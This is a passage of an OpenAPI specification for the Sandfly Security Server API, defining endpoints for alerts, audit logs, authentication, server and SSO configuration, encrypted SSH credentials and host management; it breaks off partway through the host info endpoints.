{"openapi":"3.0.1","info":{"contact":{"email":"info@sandflysecurity.com"},"description":"Sandfly Security Server API","license":{"name":"Sandfly Security, Ltd.","url":"https://www.sandflysecurity.com"},"title":"Sandfly API","version":"6.0.0"},"servers":[{"url":"https://{sandfly-api-host}/v4"}],"security":[{"bearerAuth":[]}],"paths":{"/alerts/email":{"get":{"description":"Gets all of the email alert entries.","operationId":"getEmailAlerts","responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"required":["data"],"properties":{"data":{"description":"Alert email entries.","uniqueItems":true,"items":{"type":"object","required":["id"],"allOf":[{"$ref":"#/components/schemas/EmailAlert"}],"properties":{"id":{"type":"string","description":"Alias for name.","deprecated":true}}},"type":"array"}},"type":"object"}}},"description":"Email entries retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Email entries not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all email alerts","tags":["Notifications"]},"post":{"description":"Adds an email entry.","operationId":"addEmailAlert","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/EmailAlertsConfig"}}},"description":"Email json object to insert","required":true},"responses":{"201":{"content":{},"description":"Added"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Add email entry","tags":["Notifications"]}},"/alerts/email/test/{name}":{"post":{"description":"Tests an email entry.","operationId":"testEmailAlert","parameters":[{"description":"email name to test","in":"path","name":"name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"email entry test message sent."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error testing email entry."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Test email entry","tags":["Notifications"]}},"/alerts/email/{name}":{"delete":{"description":"Deletes an email entry.","operationId":"deleteEmailAlert","parameters":[{"description":"email name to delete","in":"path","name":"name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"email entry deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error deleting email entry."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete email entry","tags":["Notifications"]},"get":{"description":"Gets an email entry by name.","operationId":"getEmailAlert","parameters":[{"description":"email name to retrieve","in":"path","name":"name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"email entry retrieved."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error retrieving email entry."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get email entry","tags":["Notifications"]},"put":{"description":"Updates an email entry.","operationId":"updateEmailAlert","parameters":[{"description":"email name to update","in":"path","name":"name","required":true,"schema":{"format":"string","type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/EmailUpdate"}}},"description":"Email json object to update","required":true},"responses":{"201":{"content":{},"description":"Updated"},"404":{"content":{},"description":"The requested email alert does not exist"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update email entry","tags":["Notifications"]}},"/alerts/syslog":{"get":{"description":"Gets all syslog entries","operationId":"getSyslogAlerts","responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"required":["data"],"properties":{"data":{"description":"Alert email entries.","uniqueItems":true,"items":{"$ref":"#/components/schemas/SyslogAlert"},"type":"array"}},"type":"object"}}},"description":"Syslog retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Syslog entries not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all syslog entries","tags":["Notifications"]},"post":{"description":"Adds a syslog entry.","operationId":"addSyslogAlert","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SyslogAdd"}}},"description":"Syslog json object to insert","required":true},"responses":{"201":{"content":{},"description":"Added"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Add syslog entry","tags":["Notifications"]}},"/alerts/syslog/{name}":{"delete":{"description":"Deletes a syslog entry.","operationId":"deleteSyslogAlert","parameters":[{"description":"syslog name to delete","in":"path","name":"name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Syslog entry deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error deleting syslog entry."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete syslog entry","tags":["Notifications"]},"get":{"description":"Get a syslog entry.","operationId":"getSyslogAlert","parameters":[{"description":"syslog name to get","in":"path","name":"name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SyslogAlert"}}},"description":"Syslog found."},"404":{"content":{},"description":"The requested syslog entry doesn't exist"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get syslog entry","tags":["Notifications"]},"put":{"description":"Updates a syslog entry.","operationId":"updateSyslogAlert","parameters":[{"description":"syslog name to update","in":"path","name":"name","required":true,"schema":{"format":"string","type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SyslogUpdate"}}},"description":"Syslog json object to update","required":true},"responses":{"201":{"content":{},"description":"Updated"},"404":{"content":{},"description":"The requested syslog entry doesn't exist"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update syslog entry","tags":["Notifications"]}},"/audit":{"delete":{"description":"Deletes the audit log.","operationId":"deleteAuditLog","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Audit log deleted"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error getting audit log."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No audit log found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete audit log","tags":["Audit Log"]},"get":{"description":"Gets the audit log.","operationId":"getAuditLog","parameters":[{"description":"page number to retrieve","in":"query","name":"page","schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"properties":{"data":{"description":"List of logs","items":{"$ref":"#/components/schemas/AuditLogEntry"},"type":"array"}},"required":["data"],"type":"object"}}},"description":"Audit log retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error getting audit log."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No audit log found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get audit log","tags":["Audit Log"]}},"/auth":{"get":{"operationId":"getMe","description":"Get the current logged in user.","summary":"Get current user","tags":["Users","Authentication"],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","required":["saved_views","user"],"properties":{"saved_views":{"type":"array","items":{"$ref":"#/components/schemas/SavedView"}},"user":{"$ref":"#/components/schemas/User"}}}}},"description":"Current user."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/auth/login":{"post":{"description":"Gets the authentication token.","operationId":"apiLogin","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/AuthLogin"}}},"description":"Authentication json blob.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"oneOf":[{"$ref":"#/components/schemas/AuthAccessRefresh"},{"$ref":"#/components/schemas/AuthAccessRefreshFull"}]}}},"description":"Login valid"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error during login"},"401":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid login"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"security":[],"summary":"Get authentication token","tags":["Authentication"]}},"/auth/login_refresh":{"post":{"description":"Gets a new authentication token but marks old one as non-fresh.","operationId":"apiLoginRefresh","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/AuthLoginRefresh"}}},"description":"Options to pass to refresh call such as full_details","required":false},"responses":{"200":{"content":{"application/json":{"schema":{"oneOf":[{"$ref":"#/components/schemas/AuthAccessRefresh"},{"$ref":"#/components/schemas/AuthAccessRefreshFull"}]}}},"description":"Login valid"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error during login"},"401":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid login"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Refresh authentication token","tags":["Authentication"]}},"/auth/logout":{"delete":{"description":"Log out user and revoke token.","operationId":"logout","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/AuthLogout"}}},"description":"User logged out."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error during logout"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Log out user and revoke token","tags":["Authentication"]}},"/config":{"get":{"description":"Gets the current server configurations in the system.","operationId":"getConfig","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ServerConfiguration"}}},"description":"Server configuration retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Server configuration not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all server configurations","tags":["Server Configuration"]},"put":{"description":"Update server configurations.\n\nOnly an admin can change the SSO settings: the `sso` object and `advanced.sso_redirect_prefix`, and, while SAML is enabled, `server_hostname`, which the SAML service provider URLs are built from. Other users allowed to update the configuration can send those settings back unchanged, as they were read from GET /config, along with the settings they are changing. A request from them that would change an SSO setting is rejected with a 403, and nothing in it is applied.","operationId":"updateConfig","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ServerConfigurationUpdate"}}},"description":"Server configuration json object to update","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Configuration updated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Configuration failed validation. Configuration not updated."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"The request would change SSO settings, which only an admin can change. Configuration not updated."},"502":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Testing connectivity to a remote system failed. Configuration not updated."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update server configurations","tags":["Server Configuration"]}},"/config/logininfo":{"get":{"description":"Returns pre-login information needed by the login page: whether SSO is enabled and the optional login warning message.","operationId":"getLoginInfo","responses":{"200":{"description":"Returns whether the license allows for SSO and SSO is configured and enabled in settings, along with the optional login warning message to display on the login page.","content":{"application/json":{"schema":{"type":"object","required":["sso_enabled","login_banner","disable_login_form"],"properties":{"sso_enabled":{"type":"boolean","description":"True if the license allows for SSO and SSO is configured and enabled in settings."},"login_banner":{"type":"string","description":"Optional warning or notice message to display on the login page. Empty if no message is configured."},"disable_login_form":{"type":"boolean","description":"True if the UI should hide or disable the username/password login form (set via the SF_DISABLE_UI_LOGIN_FORM server environment variable)."}}}}}},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get login page info","tags":["Authentication"]}},"/config/sso/enabled":{"get":{"description":"Returns SSO enabled boolean.","operationId":"isSsoEnabled","responses":{"200":{"description":"Returns true if license allows for SSO, SSO is configured and enabled in settings.","content":{"application/json":{"schema":{"type":"boolean"}}}},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get SSO status","tags":["Authentication"]}},"/debug/tlsregenerate":{"post":{"description":"Forces regeneration of the self-signed TLS certificate. This is a debug endpoint since certificates are auto-renewed before expiration.","operationId":"regenerateTlsCert","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"TLS certificate regenerated successfully."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Regenerate self-signed TLS certificate","tags":["Debug"]}},"/credentials":{"delete":{"description":"This deletes all credential_ids passed into the body as bulk operation.","operationId":"deleteCredentials","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/CredentialsDelete"}}},"description":"List of credential_ids to delete.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Credentials deleted"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with delete request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete credentials in bulk","tags":["Credentials"]},"get":{"operationId":"getCredentials","description":"Gets all of the credentials that are entered in the system.","responses":{"200":{"content":{"application/json":{"schema":{"properties":{"data":{"items":{"$ref":"#/components/schemas/CredentialsHostEncrypted"},"type":"array"}},"required":["data"],"type":"object"}}},"description":"Credentials retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Credentials not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all credentials","tags":["Credentials"]}},"/credentials/{credentials_id}":{"delete":{"description":"Deletes a remote system login credential encrypted record.","operationId":"deleteCredential","parameters":[{"description":"credentials_id to delete.","in":"path","name":"credentials_id","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Node credentials deleted"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with delete request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Nothing to delete."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete remote system login encrypted record","tags":["Credentials"]},"get":{"description":"Gets the encrypted credentials to allow scanning nodes to login to a remote host.","operationId":"getCredential","parameters":[{"description":"credentials_id to retrieve.","in":"path","name":"credentials_id","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/CredentialsHostEncrypted"}}},"description":"Credentials retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Credentials not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get encrypted credentials","tags":["Credentials"]},"post":{"description":"Creates either an sshkey/sshkey password or username/password to an encrypted remote host credential record.","operationId":"addCredential","parameters":[{"description":"credentials_id to create.","in":"path","name":"credentials_id","required":true,"schema":{"format":"string","type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/CredentialConfiguration"}}},"description":"Credentials json blob.","required":true},"responses":{"201":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Remote credentials encrypted and inserted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Remote credentials already exist. Not overwritten."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Add remote system login credentials","tags":["Credentials"]},"put":{"description":"Updates the sshkey/sshkey password or username/password to an encrypted remote host credential record.","operationId":"updateCredential","parameters":[{"description":"credentials_id to update.","in":"path","name":"credentials_id","required":true,"schema":{"format":"string","type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/CredentialConfiguration"}}},"description":"Credentials json blob.","required":true},"responses":{"201":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/StandardResponseStatus"}],"properties":{"data":{"properties":{"generated":{"type":"boolean"},"public_key":{"type":"string"}},"required":["generated"],"type":"object"}},"required":["data"]}}},"description":"Remote credentials updated, encrypted, and inserted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Remote credentials already exist. Not overwritten."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update remote system login credentials","tags":["Credentials"]}},"/errors":{"delete":{"description":"Deletes all errors.","operationId":"deleteScanErrorLog","responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Errors deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with delete request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete all scan errors","tags":["Scan"]},"get":{"description":"Gets the error log.","operationId":"getScanErrorLog","parameters":[{"description":"get summary data","in":"query","name":"summary","required":false,"schema":{"type":"boolean"}},{"description":"Page number (1-indexed). Defaults to 1.","in":"query","name":"page","required":false,"schema":{"type":"integer","minimum":1}},{"description":"Number of results per page. Defaults to 10000, max 10000.","in":"query","name":"size","required":false,"schema":{"type":"integer","minimum":1,"maximum":10000}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ErrorLog"}}},"description":"Error log retrieved"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get scan error log","tags":["Scan"]}},"/hosts":{"delete":{"description":"Deletes all host_ids passed into the body as a bulk operation.","operationId":"deleteHosts","requestBody":{"content":{"application/json":{"schema":{"properties":{"host_ids":{"description":"List of host_ids to delete.","items":{"type":"string"},"type":"array"},"host_sequence_ids":{"description":"List of host_sequence_ids to delete.","type":"array","items":{"type":"integer"}}},"type":"object"}}},"description":"List of host_ids to delete.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Hosts deleted"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with delete request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete hosts in bulk","tags":["Hosts"]},"get":{"operationId":"getHosts","description":"Gets a list of the hosts in the system. Results are paginated with the `page` and `size` parameters, and the `more_results` property of the response indicates whether further pages are available. **NOTE**: almost all uses of this function should use the `?summary=true` parameter; the raw call without a summary parameter or with `?summary=false` exists only for backward compatability.","parameters":[{"name":"summary","in":"query","required":false,"schema":{"type":"boolean","default":false},"description":"When summary is false (the default, although not recommended for most uses of this API) the \"raw host JSON\" is returned for each host. When summary is true (recommended), a flat set of fields containing the main host details, as well as data from SSH hunter such as key counts, zone violations, duplicate keys, etc. (not found in the summary=false response)."},{"description":"Only supported when `summary=true`. If present, restricts the host list data to the specific SSH key IDs. Only hosts with the requested SSH keys will be returned, and the SSH-related counts will only count the requested keys. When present, the top-level response object will include a key_names map providing the friendly names for each key that exists. While not modeled in this OpenAPI spec schema, this parameter accepts a comma-delimited list of multiple key IDs.","in":"query","name":"key_filter","required":false,"schema":{"type":"integer"}},{"description":"Number of results per page. When `summary=true`, the default page size is 10,000 and the maximum is 100,000. When `summary=false`, the default page size is 100,000 and the maximum is 1,000,000. A value outside of the supported range is replaced with the default page size.","in":"query","name":"size","required":false,"schema":{"type":"integer"}},{"description":"Page number of results to retrieve.","in":"query","name":"page","required":false,"schema":{"type":"integer","default":1}},{"description":"Only supported when `summary=true`; any other value, or a sort without `summary=true`, is rejected with a 400. Selects the sort order of the host summary list. When absent, hosts are ordered fewest alerts first, then fewest errors, then hostname. `severity` puts the most severe hosts first: `severity` descending, then most alerts, then hostname, so the first page holds the worst hosts.","in":"query","name":"sort","required":false,"schema":{"type":"string","enum":["severity"]}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"required":["data"],"properties":{"data":{"description":"List of hosts","oneOf":[{"$ref":"#/components/schemas/Hosts"},{"$ref":"#/components/schemas/HostSummaryRollups"}]},"key_names":{"description":"If the `key_filter` parameter contains one more key IDs, this property will be present and contain a map of key IDs to friendly key names. If there is no key_filter parameter, this property will not exist in the response.","type":"object","additionalProperties":{"type":"string","description":"The friendly name of the key ID."}}}}}},"description":"Host information retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid query parameter: a non-boolean `summary`, a non-numeric `page`, `size` or `key_filter`, an unknown `sort`, or a `sort` without `summary=true`."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Hosts not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all hosts","tags":["Hosts"]},"post":{"description":"Adds new hosts.","operationId":"addHosts","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/HostConfiguration"}}},"description":"Host data to use to scan for and input new hosts.","required":true},"responses":{"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host information accepted for processing."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with host add."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Add hosts","tags":["Hosts"]}},"/hosts/retry":{"post":{"description":"Retry the attempt to connect to inactive hosts to add them to the system.","operationId":"retryHosts","requestBody":{"content":{"application/json":{"schema":{"properties":{"host_ids":{"description":"List of host_ids of hosts to retry.","items":{"type":"string"},"type":"array"},"host_sequence_ids":{"description":"List of sequence_ids of hosts to retry.","type":"array","items":{"type":"integer"}}},"type":"object"}}},"description":"List of inactive host IDs to retry."},"responses":{"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host IDs accepted for processing."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with host retry."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host or dependent resources (jump hosts, credentials, queues) not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Retry inactive hosts","tags":["Hosts"]}},"/hosts/tags":{"put":{"description":"Bulk update tags on hosts.","summary":"Bulk tag hosts","operationId":"bulkTagHosts","parameters":[{"description":"operation - add or remove the requested tags","in":"query","name":"operation","required":true,"schema":{"$ref":"#/components/schemas/BulkTagOperation"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/HostBulkTag"}}},"description":"Parameters to list the host IDs and tags.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Bulk tag operation completed successfully."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with request"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Hosts"]}},"/hosts/{host_id}":{"delete":{"description":"Deletes a registered host by host ID.","operationId":"deleteHost","parameters":[{"description":"host_id or host_sequence_id to delete.","in":"path","name":"host_id","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host deleted"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with delete request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete host","tags":["Hosts"]},"get":{"description":"Gets a registered host by host ID.","operationId":"getHost","parameters":[{"description":"host_id or host_sequence_id to retrieve.","in":"path","name":"host_id","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}},{"$ref":"#/components/parameters/summary"}],"responses":{"200":{"content":{"application/json":{"schema":{"oneOf":[{"$ref":"#/components/schemas/Host"},{"$ref":"#/components/schemas/HostSummary"}]}}},"description":"Host information retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get host","tags":["Hosts"]},"put":{"description":"Allows users to update a host (such as credentials to use, host aliases, jump_hosts and tags). An active value in the request is ignored, so a whole host object can be sent back unchanged: a host's active state is maintained by Sandfly as hosts are scanned. Use POST /hosts/retry to have an inactive host checked again.","operationId":"updateHost","parameters":[{"description":"Unique host_id or host_sequence_id to update.","in":"path","name":"host_id","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/HostUpdate"}}},"description":"Parameters to update in the registered host.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host information updated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with update request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update host","tags":["Hosts"]}},"/hosts/{host_id}/info/kernelmodules":{"get":{"operationId":"hostInfoKernelModules","description":"Get kernel modules list for host.","summary":"Host kernel modules list","tags":["Host Results Info"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to retrieve.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoResponse"}],"properties":{"data":{"type":"array","description":"Kernel modules list for this host, current as of the date indicated in the results_date property. Will be an empty array if there are no relevant recon sandfly results for this host.","items":{"$ref":"#/components/schemas/HostInfoKernelModule"}}}}}},"description":"Host kernel modules retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hosts/{host_id}/info/lastlog":{"get":{"operationId":"hostInfoLastlog","description":"Get lastlog entry list for host.","summary":"Host lastlog entry list","tags":["Host Results Info"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to retrieve.","in":"path","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoResponse"}],"properties":{"data":{"type":"array","description":"Lastlog entry list for this host, current as of the date indicated in the results_date property. Will be an empty array if there are no relevant recon sandfly results for this host.","items":{"$ref":"#/components/schemas/HostInfoLastlog"}}}}}},"description":"Host lastlog entry list retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/hosts/{host_id}/info/listeners":{"get":{"operationId":"hostInfoListeners","description":"Get network listeners list for host.","summary":"Host network listeners list","tags":["Host Results Info"],"parameters":[{"name":"host_id","description":"host_id or host_sequence_id to 